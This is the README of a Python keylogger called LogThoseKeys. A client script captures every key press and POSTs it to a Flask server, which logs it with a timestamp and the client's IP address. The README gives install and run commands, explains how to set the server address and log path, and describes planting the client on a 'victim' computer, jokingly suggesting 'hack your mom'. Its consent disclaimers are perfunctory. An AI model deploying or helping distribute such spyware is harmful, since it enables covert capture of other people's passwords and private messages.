LogThoseKeys is a keylogger that can store the key presses of any number of
clients. __main__.py runs a Python flask server which listens for POST
requests from clients and writes the pressed key from the payload to a log file
along with the timestamp at which the key was pressed and the client IP
address, which are also both included in the payload. The client script, stored
in the client/ directory, listens for key presses and sends a POST request
with the appropriate payload to the flask server every time any key is
pressed.
To download LogThoseKeys, launch your Terminal (or Command Prompt on Windows) and run the following:
$ git clone https://github.com/Python3-8/logthosekeys LogThoseKeys
...
$ python3 -m pip install -r LogThoseKeys/requirements.txt
...This should download LogThoseKeys and install all its requirements, and you're all set, that easily!
To run LogThoseKeys, navigate to the same folder where you cloned the repository in your terminal and run the following command:
$ python3 LogThoseKeys
* Serving Flask app '__main__' (lazy loading)
* Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead.
* Debug mode: off
* Running on all addresses (0.0.0.0)
WARNING: This is a development server. Do not use it in a production deployment.
* Running on http://127.0.0.1:5000
* Running on http://0.0.0.0:5000 (Press CTRL+C to quit)This starts the flask server that listens for POST requests.
Now to run the client, open a new Terminal (or Command Prompt) window, and navigate to the same directory. From here, run the following:
$ python3 LogThoseKeys/clientThat's literally it! Now all your keystrokes will be captured and stored in a
file (that's in your current working directory) called client-keylog.txt.
Now that you know how to run the program, let's talk about customization. Getting your preferences into the program.
To change the address to host the flask server on, the
recommended way is to set an environment variable called LTK_HOST_ADDR. All
you have to do is set this environment variable to the address to host on, and
the program automatically hosts on it. You can also change the hosting port by
setting an environment variable called LTK_HOST_PORT.
An alternative way to achieve this is by manually editing the server program, which will not be demonstrated here.
If you're changing where the server is hosted, then of course you must change
the address the client connects to. Open client/__main__.py and find line 5
where you can change this:
# TODO: Change this to match your requirements
SERVER_ADDR = 'http://0.0.0.0:5000/'The client file is now ready to be distributed to a "victim" (whose consent you must have in all cases).
If you already have an important file named client-keylog.txt in the
directory where you cloned the repository, you might want to change the
location where key presses are stored. To do this, the recommended way, similar
to changing the server hosting address, is to set another environment variable
called LTK_LOGFILE. Set the value of this environment variable to the desired
log file path and you're all set! The program is now fully customized if you've
followed all these steps.
If you're like me and you want to hack your mom, that's quite easy. All you
have to do is run the server, change the client file, run it on your victim's
computer, and voilà! First, run the server program on your computer. Next,
update the client connection address to connect to your server. You're all set!
All you have to do now is download the client file on your victim's (again,
whose consent you must have) computer and run it after installing the required
dependencies (requests and pynput). This should start sending information
on all keystrokes of the client to the server hosted on your computer.